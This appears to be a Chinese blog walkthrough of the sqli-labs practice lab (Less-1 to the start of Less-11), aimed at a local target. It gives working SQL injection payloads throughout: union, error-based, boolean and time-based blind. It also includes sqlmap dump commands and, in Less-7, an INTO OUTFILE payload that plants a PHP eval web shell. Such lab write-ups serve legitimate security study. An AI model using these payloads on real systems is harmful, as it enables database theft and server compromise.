    ?id=-1' union select 1,database(),3--+

    由于替换的是 2 的位置,因此结果将显示于用户名处,如下图所示,当前数据库名为 security

  • 有了数据库名就可以查询该库中的所有表了,不过在这里肯定就无法使用 show tables; 语句了,毕竟只能通过 select 语句查询结果。所以就需要使用 Information_schema 数据库,该库中储存了数据库元数据,其中就包括所有表名。常用的各数据的结构如下图所示:

    由此可以构造查询表名的 SQL 语句如下:

    1
    select table_name from information_schema.tables where table_schema='security';

    不过,该查询语句返回的是一列数据且数量未知,而 union 语句则要求查询结果列数相同且浏览器只回显一行数据。因此需要将这一列数据合并为一串字符,这里就需要 group_concat() 函数。该函数负责按分组将结果集输出为不同行,若未将数据指定分组,则将所有数据连接为一行字符串,用法如下:

    1
    select group_concat(table_name) from information_schema.tables where table_schema='security';

    由上便可以构造查询当前数据库中的所有表名的 payload 如下:

    1
    ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

    由于替换的是 2 的位置,因此结果将显示于用户名处,如下图所示,共有四张表:emailsreferersuagentsusers

  • 有了所有表名就可以使用相同方法获取各个表中的所有列名,进而通过列名获取所有数据。首先分别查询四张表中的各列,由于不同数据库可能含有同名字段,因此限定数据库为 security,构造四个 payload 如下:

    1
    2
    3
    4
    ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails' and table_schema='security'),3--+
    ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='referers' and table_schema='security'),3--+
    ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='uagents' and table_schema='security'),3--+
    ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3--+

    由于替换的是 2 的位置,因此结果将显示于用户名处,如下图所示可知表 emails 中含有两列,分别为 idemail_id;表 referers 中含有三列,分别为 idrefererip_address;表 uagents 中含有四列,分别为 iduagentip_addressusername;表 users 中则有六列,分别为 idusernamepassword

  • 名称都知道了,就不需要 information_schema 中的数据了,保持正常查询并将结果集转化为一串字符输出即可,以表 emails 为例构造 payload 如下:

    1
    ?id=-1' union select 1,(select group_concat(id,email_id) from emails),3--+

    这样就可以在浏览器回显中看到表中所有数据了,不过,显示的样式如图所示:

    所有数据都在同一行,且数据与数据之间直接相连,无法区分,这样的回显显然是非常不友好的。因此这里对输出结果稍作调整,首先是每组数据换行,只需设置 group_concat() 函数分隔符为 <br> 即可,SQL 语句如下:

    1
    select group_concat(id,email_id separator '<br>') from emails;

    然后需要将每组数据中的各项分隔开,而 group_concat() 函数无法在每组数据内部添加分隔符,因此这需要额外的操作。可以嵌套调用 concat_ws() 函数完成,该函数可将一组数据连接,同时,函数的第一个参数即为分隔符,使用如下:

    1
    select group_concat(concat_ws('  -  ',id,email_id) separator '<br>') from emails;

    这样整理之后,数据就可以直观体现于浏览器上了,构造四个 payload 如下:

    1
    2
    3
    4
    ?id=-1' union select 1,(select group_concat(concat_ws('  -  ',id,email_id) separator '<br>') from emails),3--+
    ?id=-1' union select 1,(select group_concat(concat_ws(' - ',id,referer,ip_address) separator '<br>') from referers),3--+
    ?id=-1' union select 1,(select group_concat(concat_ws(' - ',id,uagent,ip_address,username) separator '<br>') from uagents),3--+
    ?id=-1' union select 1,(select group_concat(concat_ws(' - ',id,username,password) separator '<br>') from users),3--+

    其中,referersuagents 两张表为空表,emailsusers 表内所有数据则如图所示:

SQLMap 工具注入

  • Kali 中自带 SQLMap,因此可以直接使用。首先查询当前使用的数据库,使用如下命令:
    1
    sqlmap -u http://localhost/sqli-labs/Less-1/?id=1 --current-db

    其中,-u 指定目标 URL,--current-db 列出当前数据库。执行结果如图所示,因此当前数据库为 security。当然,若想查看所有数据库则可以使用 -dbs 来检索所有数据库。

  • 获取数据库名之后即可通过如下命令获取数据库中所有表名:

    1
    sqlmap -u http://localhost/sqli-labs/Less-1/?id=1 -D security --tables

    其中,-D 指定数据库,即 security--tables 则列出所有的表。此外,若未指定数据库则将列出所有数据库中的所有表。执行结果如下图所示,可知数据库中共有四张表,分别为:emailsreferersuagentsusers

  • 获取表名后即可继续获取各个表中的所有字段,以查询 emails 表为例,使用如下命令:

    1
    sqlmap -u http://localhost/sqli-labs/Less-1/?id=1 -D security -T emails --column

    其中,-T 指定表名,--column 则列出表中所有字段。此外,若未指定数据库,则默认使用当前数据库,而若未指定表名,则查询指定数据库中所有表中的所有字段。因此,如下命令即可完成所有表中的字段:

    1
    sqlmap -u http://localhost/sqli-labs/Less-1/?id=1 --column

    查询结果如下,各表中字段内容与手工注入结果一致:

  • 然后便可以进一步查询表中各字段的数据了,以查询 emails 表为例,使用如下命令:

    1
    sqlmap -u http://localhost/sqli-labs/Less-1/?id=1 -D security -T emails -C id,email_id --dump

    其中,-C 指定字段,--dump 则列出指定字段内容。此外,若未指定数据库,则默认使用当前数据库,而若未指定表名,则查询指定数据库中所有表中的所有字段,若未指定字段,则默认列出所有字段内容。因此,如下命令即可查询当前数据库中的所有数据:

    1
    sqlmap -u http://localhost/sqli-labs/Less-1/?id=1 --dump

    查询结果如下,各表中数据内容与手工注入结果一致,其中referersuagents 两张表为空表:

Less-2

GET - Error based - Intiger based

打开本题界面如图所示,除了网页中的大号 logo 有所变化,其余均与 Less-1 一致,依然是向变量 id 传递数值参数。

手工注入

  • 首先简单地传入数据 1,构造 payload 如下:

    1
    ?id=1

    网页正常回显,内容如图所示:

  • 判断是否为数字型注入,构造 payload 如下:

    1
    2
    ?id=1 and 1=1
    ?id=1 and 1=2

    查询结果如图所示,前一个查询成功,后一个查询失败,因此该注入点为数字型注入:

  • 剩余步骤均可参考 Less-1 的手工注入部分,唯一区别在于本题为数字型注入,因此不需要考虑参数的闭合符号问题。大体步骤为:判断查询位数 -> 判断回显位 -> 获取数据库名 -> 获取表名 -> 获取列名 -> 获取数据!本题所用的 payload 如下:

    1. 判断查询位数

      1
      2
      ?id=1 order by 3--+
      ?id=1 order by 4--+
    2. 判断回显位

      1
      ?id=-1 union select 1,2,3--+
    3. 获取数据库名

      1
      ?id=-1 union select 1,database(),3--+
    4. 获取表名

      1
      ?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
    5. 获取列名

      1
      2
      3
      4
      ?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails' and table_schema='security'),3--+
      ?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='referers' and table_schema='security'),3--+
      ?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='uagents' and table_schema='security'),3--+
      ?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3--+
    6. 获取数据

      1
      2
      3
      4
      ?id=-1 union select 1,(select group_concat(concat_ws('  -  ',id,email_id) separator '<br>') from emails),3--+
      ?id=-1 union select 1,(select group_concat(concat_ws(' - ',id,referer,ip_address) separator '<br>') from referers),3--+
      ?id=-1 union select 1,(select group_concat(concat_ws(' - ',id,uagent,ip_address,username) separator '<br>') from uagents),3--+
      ?id=-1 union select 1,(select group_concat(concat_ws(' - ',id,username,password) separator '<br>') from users),3--+
  • 各步骤查询结果均与 Less-1 相同,此处不作赘述。

SQLMap 工具注入

  • 要获取当前数据库中的所有数据,可直接输入以下命令:

    1
    sqlmap -u http://localhost/sqli-labs/Less-2/?id=1 --dump

    查询结果如下图所示,不得不说,工具注入太舒适了!

Less-3

GET - Error based - Single quotes with twist - String

打开本题界面如图所示,除了网页中的大号 logo 有所变化,其余均与 Less-1 一致,依然是向变量 id 传递数值参数。

手工注入

  • 首先简单地传入数据 1,构造 payload 如下:

    1
    ?id=1

    网页正常回显,内容如图所示:

  • 判断是否为数字型注入,构造 payload 如下:

    1
    2
    ?id=1 and 1=1
    ?id=1 and 1=2

    查询结果如图所示,两种结果相同,因此并非数字型注入。

  • 那么就需要判断字符型注入,首先构造 payload 如下:

    1
    2
    ?id=1'
    ?id=1"

    结果如下图所示,其中单引号造成了错误,因此暂判断为单引号闭合字符。

  • 然后判断单引号外是否为唯一闭合符号,构造 payload 如下:

    1
    ?id=1'--+

    结果如下图所示,查询错误,因此闭合符号后应该还存在括号。

  • 对括号的判断则构造如下 payload

    1
    ?id=1')--+

    结果如下图所示,查询成功,因此闭合符号为单引号加一个小括号的形式。

  • 后续操作则与前述题目一致,依然不做赘述,此处提供最后对于 emailsusers 两张表中数据的查询所用的 payload

    1
    2
    ?id=-1') union select 1,(select group_concat(concat_ws('  -  ',id,email_id) separator '<br>') from emails),3--+
    ?id=-1') union select 1,(select group_concat(concat_ws(' - ',id,username,password) separator '<br>') from users),3--+

SQLMap 工具注入

  • 依然使用以下命令获取当前数据库中的所有数据,查询结果与之前均一致,故不做赘述,后续题目将默认手工注入。

    1
    sqlmap -u http://localhost/sqli-labs/Less-3/?id=1 --dump

Less-4

GET - Error based - Double Quotes - String

打开界面如图所示,开启了一个较为亮眼的颜色,其余部分均与之前一致。

  • 本题为字符型注入且闭合字符为双引号加括号 (" "),判断过程不做赘述,关键部分 payload 如下:

    1
    ?id=1")--+
  • 剩余过程也与前述题目一致,因此不做赘述,此处提供最后对于 emailsusers 两张表中数据的查询所用的 payload

    1
    2
    ?id=-1") union select 1,(select group_concat(concat_ws('  -  ',id,email_id) separator '<br>') from emails),3--+
    ?id=-1") union select 1,(select group_concat(concat_ws(' - ',id,username,password) separator '<br>') from users),3--+

Less-5

GET - Double Injection - Single Quotes - String

打开界面如图所示,依然仅有颜色变化。

  • 测试简单数据时,会发现本题不再回显数据内容,只要查询成功,便返回字符串:You are in……

  • 由上,将不再可以通过将所需内容回显至原本数据输出位置来获取数据,因此,要将所需数据显示出来,就必须从其他地方入手。而剩下的地方只有一个,那便是报错信息,因此,本题将使用报错注入

  • 报错注入其实就是通过一些函数的错误使用而输出错误信息,其中就包含了我们所需要的信息。可用于报错注入的函数非常多,这里列举常用的四个:updatexml()extractvalue()floor()exp()

    • updatexml()

      该函数是 MySQLXML 文档数据进行查询和修改的 xpath 函数。函数共有三个参数,其中第一个参数为 XML 的内容,第二个参数为 XPath 格式的字符串,作为数据修改的路径,而第三个参数即为修改后的内容。在报错注入中所利用的就是第二个参数,由于其需要 XPath 格式的字符串,而如果传入其他格式的信息便会报错并输出错误内容。因此,只要将需要的信息以普通字符串形式整合入第二个参数,就会引发报错,同时在错误提示中显示出所需要的信息。在本题中可用该函数构造如下 payload 完成对于数据库名的查询:

      1
      ?id=1' and updatexml(1,concat('¥ ',database(),' ¥'),1)--+

      其中,concat() 函数用于组合非 XPath 字符串,而要使任意字符串变为非 XPath 字符串,最简单的方法就是在字符串前加上一个特殊符号,如 ~=$ 等。为保证特殊性,这里使用字符 作为前缀,且前后包裹以突出所需信息。因此,与之前题目一样,只需将所需的信息传入 concat() 函数的第二个参数即可在浏览器中得到所需的信息。上述 payload 查询结果如下, 字符之间即为库名:

      此外,值得注意的是,报错信息中对于输出的字符串有长度限制,实测限制长度为 32 个字符,因此在较长字符串输出时应特别注意这一点。

      经过进一步验证, 作为中文中的一个正儿八经的全角符号,使用 concat() 等一类函数进行连接之后作为参数将导致信息显示为空,因此在此 符号仅作为特殊示范,后续都将使用符号 ~,特此警示,切勿猎奇!

    • extractvalue()

      该函数用于获取指定 XML 文档片段文本,含有两个参数,第一个参数指定片段,第二个参数则是 XPath 格式字符串用于指定路径。因此,依旧可以利用传入非 XPath 格式字符串至第二个参数引发报错,从而通过错误信息中的错误字符串部分获取信息。与 updatexml() 的形式基本一致,构造 payload 如下:

      1
      ?id=1' and extractvalue(1,concat('¥ ',database(),' ¥'))--+

      回显结果则与 updatexml() 函数的结果一致,字符串长度同样限制为 32 个字符。其余不做赘述。

    • floor()

      该函数的作用为将参数向下取整,当然仅有这个函数是不够的,还需要配合 rand() 函数生成 0 ~ 1 随机数,和 count(1) 函数统计表中各组行数,以及 group by 语句对结果进行分组。该注入的大致原理为 group by 语句执行分组时会生成一张临时表,在读取内容与对临时表的写入时会得到由 () 函数与 rand() 函数组合生成的 0、1 随机整数序列,由于读取与写入值可能会不一样,则有机会造成临时表中的主键冲突因而报错。当然,count(1) 函数统计的各组行数并不为我们所用,因为该函数在此仅作为聚集函数配合 group by 语句使用。实践证明,rand() 中的参数为 0 时,在查询结果为三列及以上会报错,而参数为 14 时,则在查询结果为两列及以上会报错。构造的报错的 SQL 语句主体如下:

      1
      select count(1) from users group by floor(rand(0)*2);

      该 SQL 语句的执行结果如下图所示:

      其中,数字 1floor(rand(0)*2) 引起报错时的值,而后续对信息的回显则基于对该数据的操作。使用 concat() 函数将有效信息与报错数据相连即可实现信息捆绑输出,构造 SQL 语句如下:

      1
      select count(1) from users group by concat(floor(rand(0)*2),database());

      该 SQL 语句的执行结果如下图所示:

      在数字 1 后多出的数据便是所需要的信息,值得注意的是,该处字符串长度限制为 64 个字符,因此使用该报错注入可以帮助获得更多的信息!接下来的问题便是如何将该语句插入至 payload 中:

      • 参照之前的方法,只需要将已有语句闭合然后利用 union 并查即可,首先构造 payload 如下:

        1
        ?id=1' union select id,count(1),concat(floor(rand(0)*2),database()) x from users group by x--+

        由于 union 语句需要保证查询列数相同,因此对后续语句稍作了修改,值得注意的是,并不需要给 id 变量赋错误值,因为我们利用的是报错,而非查询结果!理论上上述 payload 已经足够完成任务了,但是实际操作却会报另外一种错误:

        错误提示显示 union 操作符前后的排序规则不同,也就是说,两个查询结果集所使用的字符集不同。经过测试,concat() 函数连接成的字符串使用系统默认字符集 utf8mb3(在 MySQL 中等同于 utf8),而该数据库使用的字符集为 gbk,因此出现了 union 运算符前后查询结果集中的元素字符集不匹配的情况。解决这一问题只需将 concat() 函数的执行结果转换成与数据库相同字符集即可,这里使用 convert() 函数完成转换操作,构造 payload 如下:

        1
        ?id=1' union select id,count(1),convert(concat(floor(rand(0)*2),database()) using gbk) x from users group by x--+

        执行结果如下图所示,已成功获取当前数据库名称,因此注入成功。

        经过进一步验证,执行字符集转换操作时,依然转换为 utf8utf8mb3 后,语句将能正常执行,不再对字符集报错,而转换为其他字符集(如 latin1)则依然报错。此外,对于该场景下的报错仅出现于 MySQL8.0 及以后版本。由于没能在官方文档中找到对应新增报错的信息,因此详细说明在此留一个坑。

      • 鉴于 union 的复杂表现,这里引入另外一种方法,使用 and 操作符进行连接,构造 payload 如下:

        1
        ?id=1' and (select count(1) from users group by concat(floor(rand(0)*2),database()))--+

        值得注意的是,and 操作符后的查询语句应加上小括号以表示对对于查询结果整体的运算,否则执行将造成语法错误。此外,上述用法虽不影响注入,但并没有实现 and 运算符的正确使用,即前后参数表达式的值应为表示的布尔变量,对应于数字 10。为规范使用,应借助派生表实现对结果集的指定,构造 payload 如下:

        1
        ?id=1' and (select 1 from (select count(1) from users group by concat(floor(rand(0)*2),database()))x)--+

        其中,每个派生表应有自己的别名,因此最后的 x 不能删去,但是可以修改为任意其他别名。

    • exp()

      该函数是计算以 e 为底的指数函数,当指定数据大于 709 时就会因为数据太大而溢出并报错。由于函数执行成功会返回数字 0,则将该结果按位取反即可获得最大的数值,传入函数即可造成报错,进一步利用子查询即可在报错信息会包含函数执行结果。构造 payload 如下:

      1
      ?id=1' and (exp(~(select * from (select database())x)))--+

      遗憾的是,在 MySQL5.7 及以后版本中修复了此漏洞,无法利用该函数报错来获取信息,因此这里不作示范。

  • 本题使用 floor() 函数完成报错注入,后续注入只需将前文的关键载荷移入该方案对应位置即可,不过,实测无法使用 group_concat() 函数,因此多行内容需要借助 limit 语句逐句输出,也就是说无法依次输出全部数据了。各步骤所构造的 payload 实例如下(举一例):

    • 获取表名

      1
      ?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor (rand(0)*2))x from users group by x)a)--+
    • 获取列名

      1
      ?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),floor (rand(0)*2))x from users group by x)a)--+
    • 获取数据

      1
      ?id=1' and (select 1 from (select count(*),concat((select concat_ws('  -  ',id,email_id) from emails limit 0,1),floor (rand(0)*2))x from users group by x)a)--+

Less-6

GET - Double Injection - Double Quotes - String

终于来到了第六关,进度条走过十分之一!!!

  • 本题与第五关类似,查询成功则返回一串固定字符:You are in…… 而查询失败则返回报错信息,唯一不同之处在于数据的闭合方式。在上一关中我们省略了对闭合符号的判断,其实判断方法与前文均相同,Less-5 中的数据为单引号闭合,而本题则为双引号闭合,这里使用最简单的转移符判断的方式作为示例,构造 payload 如下:

    1
    ?id=\

    执行结果如下图,从结果可看出闭合符号为双引号。

  • 由于仅存在闭合符号的区别,因此注入方式与上一关基本相同,只需将单引号换为双引号即可。这里示范查询 users 表中 emails 字段中的第一行数据,本次以 extractvalue() 作为报错函数,构造 payload 如下:

    1
    ?id=1" and extractvalue(1,concat('~ ',(select concat_ws('  -  ',id,email_id) from emails limit 0,1),' ~'))--+

    执行结果如下,可见数据量不大时使用 extractvalue() 等函数会方便许多!

Less-7

GET - Dump into outfile - String

界面变化依然不大,但从副标题 Dump into outfile 可以看出,注入形式有了重大变化。

  • 首先测试一下,发现除了正常查询只返回固定字符串以外,查询出错也只返回固定字符串,也就是说不仅不能通过正常查询获取信息,通过报错信息也不行。

  • 那么判断一下闭合方式,由于不再显示详细报错信息,因此通过转义符号 \ 进行判断的方法自然也就不可用了,只能一步一步慢慢验证。具体过程与前文一致,这里列出各步的 payload

    1
    2
    ?id=1'                     [出错]
    ?id=1" [正常]
    1
    ?id=1'--+                  [出错]
    1
    2
    ?id=1')--+                 [出错]
    ?id=1'))--+ [正常]

    最终得出本题使用的闭合符号为 '))

  • 现在无论正确还是错误都显示固定字符串,仅能判断查询是否出错,本题的主要考点就是数据导出,因此这里使用该原理将木马植入靶机中,再利用蚁剑连接,然后就梦回 upload-labs。其中数据导出就是将指定内容写入到指定文件,需要使用如下 SQL 语句:

    1
    select [查询数据] into outfile [文件路径]--+
  • 要完成数据导出首先需要验证服务器参数 secure_file_priv 的值,这个参数用于限制数据导入导出的操作,有三个值:NULL指定目录,分别表示操作无限制、禁止操作和只能在指定目录导入导出。

    • 笔者使用的 MySQL 中该参数默认值为,可使用如下 payload 检验:

      1
      ?id=1')) and length(@@secure_file_priv)=0--+
      length() 函数用于获取变量 @@secure_file_priv 的长度,显然空值的长度为零。由于笔者事先确认过所用环境中该变量值为空,因此回车之后显示查询成功的页面,但是...欲知后事如何,参照前文中的 [MariaDB 问题](#MariaDB 问题)。
    • 由于涉及数据库管理系统的区别对待,并且 MariaDB 会在版本号中附带名称,而 MySQL 则不然。

      因此可以简单在攻击者视角通过延时注入完成对所用数据库管理系统的判断。当然,只针对对于 MySQL 与 MariaDB,构造 payload 如下:

      1
      ?id=1')) and substr(version(),8,1)='m'--+

      其中 substr() 函数用于逐个截取字符串中的字符,第一个参数为待截取字符串,而第二和第三个参数分别表示起点和截取长度,因此只需修改第二个参数即可实现逐个字符截取。较为快速的方法是直接逐个字符与字符 m 比较,在较短范围内通过是否出现字符 m 即可对数据库做出简单的判断,比如笔者版本中字符 m 就出现在第八个字符。值得注意的是两个数据库都对大小写不敏感,因此不必考究 MariaDB 在版本中名称大小写问题。

    • 使用 MariaDB 的完全可以跳过对空值的判断,直接判断 NULL 值即可,通过 select 语句查询出的全局变量值为 NULL 即等价于 MySQL 中的空值。值得注意的是,在正儿八经 MySQL 中的 NULL 可并不代表空,所以如果确定是 NULL 值就得配置环境才能完成后续操作了。由于涉及 NULL 值的比较,因此这里使用 <=> 运算符或者 is 运算符完成对 NULL 的检验,构造 payload 如下:

      1
      ?id=1')) and @@secure_file_priv<=>NULL--+
      1
      ?id=1')) and @@secure_file_priv is NULL--+

      如前文所述,笔者实际使用的是 MariaDB,因此原本的空值就会在此与 NULL 值相同。

    • 经过上述步骤仍未判断出值,那基本确定变量被指定了地址,而指定的地址也几乎不可能是我们可操纵的,因此可以不必继续查询变量值了,配置环境后再继续本题吧。

      不过作为攻击者来说,对指定地址值进行检验倒也不是不行,顺便练习练习布尔盲注,万一值被错误地赋为射程范围内的话就赚了。操作方法参照前文对数据库管理系统的判断,由于表示地址的字符串需要严格区分大小写,因此这里需添加一个 ascii() 函数,直接比较码值以区分大小写,使用如下 payload

      1
      ?id=1')) and ascii(substr(@@secure_file_priv,1,1))>78--+
      其中比较符号使用了大于号,也可以使用小于号,因为这里并不知道字符可能的取值,而大(小)于号可以辅助判断取值范围,提高效率。 当然在此之前还得对值得长度做个判断,使用如下 <kbd>payload</kbd>:
      1
      ?id=1')) and length(@@secure_file_priv)<10--+
  • 然后就需要获取网站的绝对路径,这决定了攻击者能否用 URL 指向木马文件。绝对路径对于靶机的所有人来说,正是在下,应该是本身就知道的,但是作为攻击者,如果不主动获取到路径,将无法进入下一步。至于为啥不能使用相对路径,因为相对路径是相对于 MySQL 当前文件资源所在目录的相对路径,除非数据库数据文件存于靶机目录下,否则无法通过 URL 访问。但是事实上绝对路径的获取并不容易,笔者也并未找到合适的方法,暂时基本就是凭经验猜测。一般情况下,LinuxWeb 服务器的默认根文件夹为 /var/www/html/,笔者靶机所在服务器的情况也正是如此,因为没有动他。由于访问靶机的 URL 为 localhost/sqli-labs/,因此靶机的绝对路径为 /var/www/html/sqli-labs/,将木马文件置于该目录即可。

  • 接下来便可以植入木马了,基于数据导出的原理,构造 payload 如下:

    1
    ?id=1')) union select "<?php @eval($_POST['h-t-m']);?>",1,2 into outfile "/var/www/html/sqli-labs/muma.php"--+

    回车之后就可以在指定目录中创建指定文件同时写入指定内容,值得注意的是,若文件已经存在,则导出无法成功,即仅能将数据存储至原先未存在的文件中。完成之后便可以在靶机文件夹中找到木马文件 muma.php,后续使用蚁剑连接该文件即可。

    该文件直接存储于靶机根目录,因此文件 URL 为 [靶机地址]/muma.php,比如在笔者的环境下木马文件的 URL 就是 http://localhost/sqli-labs/muma.php,由于蚁剑运行于局域网的另一个操作系统中,因此实操使用的 URL 替换为对应局域网地址。

  • 植入木马可以轻松获取大量数据文件,但是由于数据库的数据都以特殊文件形式存储于指定地址中,该地址即参数 datadir 的值,虽然可以通过获取参数 datadir 的值进入指定目录后解读数据文件,但这样总归复杂,更不敢说优雅,因此仅仅获取数据库中的少量数据的话还是建议将数据写入普通文本文件中,至于文件的地址则与木马文件地址相同即可,这样获取的数据就可以直接在浏览器访问获取,木马也不用植入了,因为根本没用的他。首先查询数据库名,构造 payload 如下:

    1
    ?id=-1')) union select database(),2,3 into outfile "/var/www/html/sqli-labs/h-t-m-1.txt"--+

    回车之后在浏览器中访问 http://localhost/sqli-labs/h-t-m-1.txt 即可查看存有数据库名的文本文件 h-t-m-1.txt,其中参数 id 的值赋为 -1 是为了防止正常查询的结果一起写入文件中。

  • 后续操作参照上述步骤,获取数据并导出至文本文件,然后在蚁剑中打开即可,值得注意的是务必导出至不同文件。相对于 Less-5/6 中数据一行一行输出,本关数据可将每次查询的所有数据一次性输出至文件中供我们读取,因此注入过程其实并不复杂,甚至有些优雅。各步骤所构造的 payload 实例如下(举一例):

    • 获取表名

      1
      ?id=-1')) union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2,3 into outfile "/var/www/html/sqli-labs/h-t-m-2.txt"--+
    • 获取列名

      1
      ?id=-1')) union select (select group_concat(column_name) from information_schema.columns where table_name='emails' and table_schema='security'),2,3 into outfile "/var/www/html/sqli-labs/h-t-m-3.txt"--+
    • 获取数据

      1
      ?id=-1')) union select (select group_concat(concat_ws('  -  ',id,email_id) separator '\n') from emails),2,3 into outfile "/var/www/html/sqli-labs/h-t-m-4.txt"--+
  • 上述例子中的关键载荷都移植于之前关卡,虽说可以简单地通过载荷的复用完成数据导出,但是毕竟该方法不要求一次性写入全部数据,因此这些字符串拼接函数的调用就会非常多余。建议payload 进行进一步修改,这里举例两个最终数据表查询的 payload

    • 查询 users

      1
      ?id=-1')) union select * from security.users into outfile "/var/www/html/sqli-labs/h-t-m-5.txt"--+
    • 查询 emails

      1
      ?id=-1')) union select *,1 from security.emails into outfile "/var/www/html/sqli-labs/h-t-m-6.txt"--+

    最终的文本文件如图所示,所有数据都已被获取:

Less-8

GET - Blind - Boolian Based - Single Quotes

再次重新开始,本关竟然没有直接延续文件操作,从副标题来看直接就是布尔盲注

手工注入

  • 首先测试浏览器回显情况,发现在正常查询时依然只返回固定字符串,而在错误查询时则无任何回显。

    较上一关仅存在错误查询是否回显固定字符串的区别,那实际上就是没有区别。实测上一关的方法也确实完全适用,但由于数据导出并非本题考点,因此这里遵从题意,使用布尔盲注解题。

  • 依然对闭合符号做简单判断,实测本题闭合符号为单引号。

  • 其实主体实施方法在 Less-7 中获取参数 secure_file_priv 的值时就有用到,思路就是使用 substr() 函数将数据逐个字符截取,并配合 ascii() 函数比较字符的码值最终得到完整数据。首先对数据库名的长度进行判断,构造 payload 如下:

    1
    ?id=1' and length(database())<10--+

    实测数据库名的长度为 8 个字符:

    然后获取数据库名,构造 payload 如下:

    1
    ?id=1' and ascii(substr(database(),1,1))>78--+

    实测数据库名的第一个字符的码值为 115,即小写字母 s,后续逐字符重复该步骤即可获取完整数据库名 security

  • 后续数据查询依然照猫画虎即可,这里只举例各部分数据查询的初始 payload

    • 获取表名长度

      1
      ?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))<10--+
    • 获取表名

      1
      ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>78--+
    • 获取列名长度

      1
      ?id=1' and length((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1))<10--+
    • 获取列名

      1
      ?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1,1))>78--+
    • 获取数据长度

      1
      ?id=1' and length((select concat_ws('  -  ',id,email_id) from emails limit 0,1))<10--+
    • 获取数据

      1
      ?id=1' and ascii(substr((select concat_ws('  -  ',id,email_id) from emails limit 0,1),1,1))>78--+

SQLMap 工具注入

  • 之前对该工具的使用一直停留于 Less-1 阶段,需要不断手动输入 YesNo 以使工具继续工作,同时还未对注入技术进行过指定,一句命令让工具承担了所有,鉴于本次手工布尔盲注过于耗费时间,特此使用工具。主要增加了 --batch 帮助选择以及对注入方式的指定,根据考点指定使用布尔型注入,命令如下:

    1
    sqlmap -u http://localhost/sqli-labs/Less-8/?id=1 --dump --batch --technique B

Less-9

GET - Blind - Time Based - Single Quotes

熟悉的界面,崭新的颜色。从副标题看本关依旧盲注,不过升级了。

手工注入

  • 首先当然还是测试浏览器的回显情况,发现无论查询成功或者失败,浏览器只会回显同一字符串: You are in...........。因此,我们不再能从浏览器的回显中获取任何有效信息了,这就引出了本题的考点——延时注入。

  • 所谓延时注入就是利用 if 语句配合 sleep() 函数等方法,通过观察浏览器响应时间来判断给定条件的真假,因此该方法不需依赖浏览器回显内容。至于需要判断的条件内容,实际上就是 Less-8 中布尔盲注的条件内容。这里以查询数据库名长度所使用的 payload为例:

    1
    ?id=1' and if(length(database())>10,1,sleep(5))--+

    可以看出 if 语句有三个参数,第一个参数为判断条件,该值为真时返回第二个参数,否则返回第三个参数。因此,如果数据库名的长度大于 10 的话网页将正常加载,而若小于 10 则网页将额外加载 5 秒的等待时间。延时可在加载过程中明确感受出来,这里以控制台中的加载时长作为依据示范条件分别为真与假时的加载情况:

  • 不过在正式获取数据之前,还需要获取注入点的闭合方式,在之前的关卡中都利用了浏览器的回显来判断,这显然无法应用于本题。前文中对数据库名长度的判断也是利用对数据的有效闭合而重新组成的逻辑结构,那么,如果并没有形成有效闭合,我们也就无法得到相应的结果。基于这一点,就可以使用如下 payload 对闭合符号进行推测:

    1
    ?id=1' and if(1=2,1,sleep(5))--+

    由于条件始终为假,只要语句正常执行,就会被延时,因此我们可以在该 payload 中测试各闭合符号,当感受到明显加载延迟时,就已经获得闭合符号了。实测本题闭合符号就是单引号 '废话副标题都写在那里

  • 后续的操作只需将 Less-8 中布尔注入的那部分条件语句移植到上述 if 语句中即可,这里以查询数据库首字母为例,构造 payload 如下:

    1
    ?id=1' and if(ascii(substr(database(),1,1))>78,1,sleep(5))--+

    经过几轮范围的缩小,很快即可锁定首字母码值为 115,后面的操作就不再赘叙了。

SQLMap 工具注入

  • 延时盲注操作起来比布尔盲注还要更麻烦,了解原理后还是用工具来的爽,依旧根据本题考点,指定使用延时盲注的方法。

    1
    sqlmap -u http://localhost/sqli-labs/Less-9/?id=1 --dump --batch --technique T

Less-10

GET - Blind - Time Based - Double Quotes

终于来到了第十关,完成这个系列指日可待!从副标题可以看出,本题承接第九关,但是闭合符号有所改动。

  • 虽然副标题暴露了一切,但是还是需要作基本的检验,首先是查询成功与失败时的浏览器回显,然后就是闭合符号的判断,方法均与上一关一致。实测结果符合预期,无法通过浏览器回显判断查询状态,且闭合符号为双引号 "

  • 通过上述检验,其实就可以大摇大摆地将 Less-9 所使用的 payload 在将闭合符号换成双引号之后用于本题,这里举例用于最后获取数据长度与数据内容的两个 payload

    • 获取数据长度

      1
      ?id=1" and if(length((select concat_ws('  -  ',id,email_id) from emails limit 0,1))<10,1,sleep(5))--+
    • 获取数据

      1
      ?id=1" and if(ascii(substr((select concat_ws('  -  ',id,email_id) from emails limit 0,1),1,1))>78,1,sleep(5))--+

Less-11

POST - Error Based - Single Quotes - String

开启 POST 方法注入时代,这下不用只跟 URL 打交道了。主界面也有非常大的变化,不再拥有象征该题主题色的巨大 logo,网页仅包含两个输入框,显然这也将成为我们的注入点。

手工注入

  • 首先当然需要对网页作基本的测试,使用简单用户名与密码:admin,发现登录成功,界面如下:

    可以看出登录成功之后即可在浏览器中看到当前的用户名与密码,或者换个说法,是显示从数据库中查询出来的信息。

  • 若登录失败,则会出现如下界面,巨大的红色图片告诉你登录失败了,还是之前那个味儿~除此之外并无多余文字信息。

